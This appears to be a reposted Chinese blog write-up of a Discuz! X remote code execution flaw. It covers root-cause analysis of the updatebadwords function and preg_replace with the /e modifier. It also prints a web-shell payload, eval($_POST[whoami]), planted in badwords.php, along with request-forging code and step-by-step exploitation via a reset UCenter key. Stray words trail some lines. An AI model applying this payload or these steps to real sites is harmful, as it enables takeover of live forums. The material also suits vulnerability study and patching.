關於Discuz! X系列遠程代碼執行漏洞

1、漏洞起源

忽然有同事反饋,沒法註冊php

 

看到這裏不瞭解的同行估計一年懵逼,這裏也是經常使用的漏洞攻擊,能夠確定的是  badwords.php文件被修改了 ,能夠查看這個文件內容正則表達式

<?php
$_CACHE['badwords'] = array (
  'findpattern' => 
  array (
    'balabala' => '/.*/e',
  ),
  'replace' => 
  array (
    'balabala' => 'eval($_POST[whoami]);',
  ),
);

果真這裏被篡改了  shell

這個文件路徑在:uc_client/data/cache/badwords.phpapi

正常的文件內容爲app

<?php
$_CACHE['badwords'] = array (
);

  首先須要作的是把這個文件改回來,而後堵住漏洞post

2、漏洞根源

這個問題的根源在於api/uc.php文件中的updatebadwords方法,代碼以下:ui

function updatebadwords($get, $post) {
        global $_G;
 
        if(!API_UPDATEBADWORDS) {
            return API_RETURN_FORBIDDEN;
        }
 
        $data = array();
        if(is_array($post)) {
            foreach($post as $k => $v) {
                $data['findpattern'][$k] = $v['findpattern'];
                $data['replace'][$k] = $v['replacement'];
            }
        }
        $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
        $fp = fopen($cachefile, 'w');
        $s = "

  

badwords用的地方比較少,主要集中在uc的pm和user模塊中。this

這裏用user來舉例,在uc_client/model/user.php文件中有一個check_usernamecensor方法,來校驗用戶名中是否有badwords,若是有的話就將他替換掉,代碼以下:編碼

function check_usernamecensor($username) {
    $_CACHE['badwords'] = $this->base->cache('badwords');
    $censorusername = $this->base->get_setting('censorusername');
    $censorusername = $censorusername['censorusername'];
    $censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';
    $usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;
    if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
        return FALSE;
    } else {
        return TRUE;
    }
}

能夠看到代碼中使用了preg_replace,那麼若是咱們的正則表達式寫成「/.*/e",就能夠在使用這個方法的地方進行任意代碼執行了。而這個方法在disucz中,只要是添加或者修改用戶名的地方都會用到。加密

3、漏洞利用

首先咱們們訪問api/uc.php,以後咱們會發現uc處理機制中比較討厭的環節——用戶傳遞的參數須要通過UC_KEY加密:

if(!defined('IN_UC')) {
    require_once '../source/class/class_core.php';
 
    $discuz = C::app();
    $discuz->init();
 
    require DISCUZ_ROOT.'./config/config_ucenter.php';
 
    $get = $post = array();
 
    $code = @$_GET['code'];
    parse_str(authcode($code, 'DECODE', UC_KEY), $get);

 

因此這裏須要有個前提,須要知道UC_KEY或者能夠操控UC_KEY。那麼問題來了,咱們要怎麼達到這個前提呢?

咱們在後臺中站長->UCenter設置中發現有「UCenter 通訊密鑰」這個字段,這是用於操控discuz和uc鏈接的app key,而非高級的uc_server key,不過對於咱們getshell來講足夠了。在這裏修改成任意值,這樣咱們就獲取到了加密用的key值了。

 

能夠看下配置文件,祕鑰已經發生變化

文件路徑爲:config/config_ucenter.php

而後咱們在本身搭建的discuz的api/uc.php文件中添加兩行代碼,來加密get請求所須要的內容:

$a = 'time='.time().'&action=updatebadwords';
$code = authcode($a, 'ENCODE', 'R5vcQ374u2C2W6K7V7r9u1T7P6f9F5o2ObW6x1X0OeY7bfv5Mag4Yb6bf658D0d5');
echo $code;
exit;

 

而後用post方法向api/uc.php發送帶有正則表達式信息的xml數據包,請求頭中有兩個地方須要注意,一個是formhash,一個是剛纔獲取的code須要進行一次url編碼

發送後能夠發現uc_client/data/cache目錄下的badwords.php內容就變了:

<?php
$_CACHE['badwords'] = array (
  'findpattern' =>
  array (
    'balabala' => '/.*/e',
  ),
  'replace' =>
  array (
    'balabala' => 'eval($_POST[whoami]);',
  ),
);

以後利用方法就有不少種了,能夠經過增長一個用戶來實現代碼執行,也能夠經過發消息的方式來觸發,或者用戶註冊  

4、總結

漏洞小結

一、影響範圍我的評價爲「高」,Discuz! X系列使用範圍極廣

二、這個漏洞不僅是單純的後臺代碼執行,在uc_app key泄露的狀況下也是能夠利用的

防禦方案

限制用戶提交正則表達式的內容 

 

不容許這用就對了 

相關文章
相關標籤/搜索